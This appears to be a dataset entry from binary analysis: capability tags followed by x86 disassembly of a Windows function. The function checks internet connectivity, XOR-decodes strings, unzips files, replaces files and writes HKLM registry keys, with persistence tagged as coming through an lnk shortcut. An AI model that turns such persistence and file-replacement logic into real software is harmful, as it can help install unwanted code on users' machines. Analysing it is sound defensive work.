Function at 0x491970
Capabilities:
Check internet connectivity via wininet
Delete file
Encode data using xor
Move file
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x40
push 0
push 0
dec ecx
jne 0x491978
push ecx
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov ebx, 0x49cf4a
xor eax, eax
push ebp
push 0x4921a1
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, dword [esi + 0x3e0]
mov ecx, dword [eax]
call dword [ecx + 0x68]
cmp dword [edi + 0xc], 1
jne 0x491b35
push 0
push 1
call sub.wininet.dll_InternetAutodial
push 0
lea eax, [ebp - 0x28]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x491af9
lea eax, [ebp - 0x20]
mov edx, 0x4921bc
call fcn.00414c5c
lea eax, [ebp - 0xac]
push eax
xor eax, eax
mov dword [ebp - 0xb4], eax
movzx eax, byte [0x49d2f4]
mov dword [ebp - 0xb0], eax
lea eax, [ebp - 0xb4]
mov cx, 0x11
mov edx, 1
call fcn.004151ec
lea edx, [ebp - 0xac]
lea eax, [ebp - 0x10]
call fcn.00414d18
movzx eax, byte [0x49d2f4]
test al, al
jbe 0x491a63
mov byte [ebp - 0x29], al
mov byte [ebx], 1
movzx edi, byte [ebx]
mov eax, edi
dec eax
push eax
push 1
lea eax, [ebp - 0xc4]
movzx edx, byte [edi + 0x49d2f4]
movzx edx, dl
mov cl, 1
call fcn.0041496c
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004152f0
add esp, 0x10
inc byte [ebx]
dec byte [ebp - 0x29]
jne 0x491a29
mov eax, dword [0x497708]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc8]
mov edx, 0x497538
call fcn.004059c0
mov edx, dword [ebp - 0xc8]
mov ecx, dword [0x497708]
mov eax, dword [esi + 0x3e8]
call fcn.00475740
jmp 0x491aad
mov eax, dword [0x497970]
mov eax, dword [eax]
call fcn.0046a628
push 0
call sub.kernel32.dll_Sleep_1
mov edx, 0xfffffdf3
mov eax, dword [esi + 0x3e8]
call fcn.004721bc
cmp eax, 4
jne 0x491a9a
lea ecx, [ebp - 0xcc]
mov edx, 0xd2
mov eax, dword [esi + 0x3e8]
call fcn.00472358
mov eax, dword [ebp - 0xcc]
mov edx, 0x4921f4
call fcn.004059f8
je 0x491b08
mov eax, 0x492204
call fcn.0043cbd8
jmp 0x4920fe
mov eax, 0x492220
call fcn.0043cbd8
jmp 0x4920fe
lea edx, [ebp - 0xd0]
movsx eax, word [0x497504]
call fcn.00409820
mov edx, dword [ebp - 0xd0]
mov eax, dword [esi + 0x3c0]
call fcn.0044b6c4
mov eax, 0x492280
call fcn.0043cbd8
push esi
mov esi, 0x492298
mov edi, 0x49ce48
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
mov byte [ebx], 1
movzx eax, byte [ebx]
movzx edx, byte [eax + 0x49ce48]
xor dl, byte [ebx]
mov byte [eax + 0x49ce48], dl
inc byte [ebx]
cmp byte [ebx], 7
jne 0x491b48
inc dword [0x49750c]
lea edx, [ebp - 0xd4]
mov eax, dword [esi + 0x3c0]
call fcn.0044b694
mov edx, dword [ebp - 0xd4]
mov eax, 0x49ce44
call fcn.00405048
lea eax, [ebp - 0xd8]
mov edx, 0x49ce48
call fcn.00405258
mov eax, dword [ebp - 0xd8]
mov edx, dword [0x49ce44]
call fcn.004055d0
test eax, eax
jle 0x491bd0
lea edx, [ebp - 0xdc]
movsx eax, word [0x497504]
call fcn.00409820
mov edx, dword [ebp - 0xdc]
mov eax, dword [esi + 0x3c0]
call fcn.0044b6c4
lea edx, [ebp - 0xe0]
mov eax, dword [esi + 0x3c0]
call fcn.0044b694
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0x24]
call fcn.00403a3c
mov word [0x49cf48], ax
movzx eax, word [0x49cf48]
cmp ax, word [0x497504]
je 0x491c3d
cmp dword [0x49750c], 0xf
jae 0x491c3d
imul eax, dword [0x49750c], 0x1388
push eax
call sub.kernel32.dll_Sleep_1
mov eax, 0x4922a8
call fcn.0043cbd8
imul eax, dword [0x49750c], 0x1388
push eax
call sub.kernel32.dll_Sleep_1
jmp 0x4920fe
mov eax, 0x49ce44
mov edx, 0x4922bc
call fcn.00405048
mov eax, dword [0x49ce44]
call fcn.00405484
mov edx, eax
lea eax, [ebp - 0xe4]
call fcn.004051ec
mov eax, dword [ebp - 0xe4]
call fcn.00409eec
mov eax, dword [0x497638]
call fcn.00405484
mov edx, eax
lea eax, [ebp - 0xe8]
call fcn.004051ec
mov eax, dword [ebp - 0xe8]
call fcn.00409eec
lea eax, [ebp - 0x58]
call fcn.004912f8
lea edx, [ebp - 0x9c]
mov eax, esi
call fcn.0049134c
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x9c]
push eax
push 0
push 0
push 0
push 0
call sub.UNZIP32.DLL_Wiz_SingleEntryUnzip
test eax, eax
jle 0x491cd0
mov eax, 0x4922d0
call fcn.0043cbd8
jmp 0x4920fe
mov eax, 0x492350
call fcn.0043cbd8
mov dl, 1
mov eax, dword [esi + 0x360]
mov ecx, dword [eax]
call dword [ecx + 0x68]
mov byte [0x497510], 0
mov eax, 0x49ce44
mov edx, 0x492380
call fcn.00405048
mov eax, dword [0x49ce44]
call fcn.00409d10
test al, al
jne 0x491d1a
mov eax, dword [0x49ce44]
call fcn.00403180
call fcn.00403084
mov eax, 0x49ce44
call fcn.00404ff4
mov eax, 0x49cf4c
mov edx, 0x4923a0
call fcn.00405048
push esi
mov esi, 0x4923bc
mov edi, 0x49ce48
mov ecx, 0x17
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop esi
mov byte [ebx], 0
mov eax, 0x49ce44
mov ecx, dword [0x49ce44]
mov edx, dword [0x49cf4c]
call fcn.0040530c
mov eax, dword [0x49ce44]
call fcn.00409d10
test al, al
jne 0x491d7e
mov eax, dword [0x49ce44]
call fcn.00403180
call fcn.00403084
lea eax, [ebp - 0xec]
mov edx, 0x49ce48
call fcn.00405258
mov edx, dword [ebp - 0xec]
mov eax, 0x492424
call fcn.004055d0
mov byte [0x49cf4b], al
lea eax, [ebp - 0x1ec]
push eax
movzx ecx, byte [0x49cf4b]
dec ecx
mov edx, 1
mov eax, 0x49ce48
call fcn.004030ec
lea edx, [ebp - 0x1ec]
mov eax, 0x49ce44
call fcn.00405258
movzx ecx, byte [0x49cf4b]
mov eax, 0x49ce48
mov edx, 1
call fcn.00403130
inc byte [ebx]
cmp byte [ebx], 6
jne 0x491d4b
mov eax, 0x49ce44
mov edx, 0x492430
call fcn.00405048
mov eax, dword [0x49ce44]
call fcn.00409d10
test al, al
jne 0x491e1e
mov eax, dword [0x49ce44]
call fcn.00403180
call fcn.00403084
mov eax, 0x49ce44
mov edx, 0x492444
call fcn.004052c0
mov ebx, dword [0x49ce44]
mov dword [ebp - 0x1f0], ebx
mov eax, dword [ebp - 0x1f0]
call fcn.00405484
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
lea eax, [ebp - 0x1f4]
mov ecx, 0x492444
mov edx, dword [0x497638]
call fcn.0040530c
mov ebx, dword [ebp - 0x1f4]
mov edi, dword [0x49ce44]
mov dword [ebp - 0x1f0], edi
mov eax, dword [ebp - 0x1f0]
call fcn.00405484
push eax
mov dword [ebp - 0x1f8], ebx
mov eax, dword [ebp - 0x1f8]
call fcn.00405484
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov eax, dword [0x497638]
call fcn.00405484
mov edx, eax
lea eax, [ebp - 0x1fc]
call fcn.004051ec
lea eax, [ebp - 0x1fc]
mov edx, 0x492468
call fcn.004052c0
mov edx, dword [ebp - 0x1fc]
mov eax, 0x49cf5c
call fcn.00403734
mov eax, 0x49cf5c
call fcn.004034d0
call fcn.00403084
lea eax, [ebp - 0x200]
mov ecx, 0x492478
mov edx, dword [0x49cf54]
call fcn.0040530c
mov edx, dword [ebp - 0x200]
mov eax, 0x49d128
call fcn.00403734
mov eax, 0x49d128
call fcn.004034d0
call fcn.00403084
mov edx, 0x492498
mov eax, 0x49d128
call fcn.004057a4
call fcn.00403c24
call fcn.00403084
mov edx, 0x4924b4
mov eax, 0x49d128
call fcn.004057a4
call fcn.00403c24
call fcn.00403084
mov eax, 0x49d128
call fcn.004037fc
call fcn.00403084
mov eax, 0x49cf50
mov edx, 0x4924e0
call fcn.00405048
mov eax, 0x49cf4c
mov ecx, 0x4924fc
mov edx, dword [0x497638]
call fcn.0040530c
mov al, 3
call fcn.004913c0
mov eax, 0x49cf50
mov edx, 0x492510
call fcn.00405048
mov eax, 0x49cf4c
mov ecx, 0x492528
mov edx, dword [0x497638]
call fcn.0040530c
mov al, 3
call fcn.004913c0
mov eax, dword [esi + 0x368]
mov edx, dword [eax]
call dword [edx + 0xd8]
test al, al
je 0x492005
xor eax, eax
call fcn.004913c0
mov al, 4
call fcn.004913c0
mov eax, 0x49cf50
mov edx, 0x49253c
call fcn.00405048
mov eax, 0x49cf4c
mov ecx, 0x492558
mov edx, dword [0x497638]
call fcn.0040530c
xor eax, eax
call fcn.004913c0
mov al, 4
call fcn.004913c0
mov eax, 0x49cf5c
call fcn.004037fc
call fcn.00403084
mov dl, 1
mov eax, dword [0x422494]
call fcn.00422600
mov dword [0x49cf58], eax
mov edx, 0x80000002
mov eax, dword [0x49cf58]
call fcn.004226dc
mov cl, 1
mov edx, 0x49256c
mov eax, dword [0x49cf58]
call fcn.00422744
test al, al
je 0x492067
mov ecx, 0x492588
mov edx, 0x49259c
mov eax, dword [0x49cf58]
call fcn.00422ab0
mov eax, dword [0x49cf58]
call fcn.004226ac
mov eax, dword [0x49cf58]
call fcn.004041c8
mov dl, 1
mov eax, dword [0x422494]
call fcn.00422600
mov dword [0x49cf58], eax
mov edx, 0x80000002
mov eax, dword [0x49cf58]
call fcn.004226dc
mov eax, dword [0x49cf58]
mov byte [eax + 0xc], 0
mov cl, 1
mov edx, 0x4925b0
mov eax, dword [0x49cf58]
call fcn.00422744
mov ecx, 0x4925f8
mov edx, 0x49260c
mov eax, dword [0x49cf58]
call fcn.00422ab0
lea eax, [ebp - 0x204]
mov ecx, 0x492620
mov edx, dword [0x497638]
call fcn.0040530c
mov ecx, dword [ebp - 0x204]
mov edx, 0x492638
mov eax, dword [0x49cf58]
call fcn.00422ab0
mov eax, dword [0x49cf58]
call fcn.004226ac
mov eax, dword [0x49cf58]
call fcn.004041c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4921ab
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.00405018
lea eax, [ebp - 0x1f4]
call fcn.00404ff4
lea eax, [ebp - 0xec]
mov edx, 3
call fcn.00405018
lea eax, [ebp - 0xe0]
call fcn.00404ff4
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.00405018
lea eax, [ebp - 0xd4]
call fcn.00404ff4
lea eax, [ebp - 0xd0]
call fcn.00404ff4
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.00405888
lea eax, [ebp - 0xc4]
call fcn.004107f0
lea eax, [ebp - 0xac]
call fcn.004107f0
lea eax, [ebp - 0x20]
mov edx, dword [0x4010e8]
mov ecx, 2
call fcn.00405c28
ret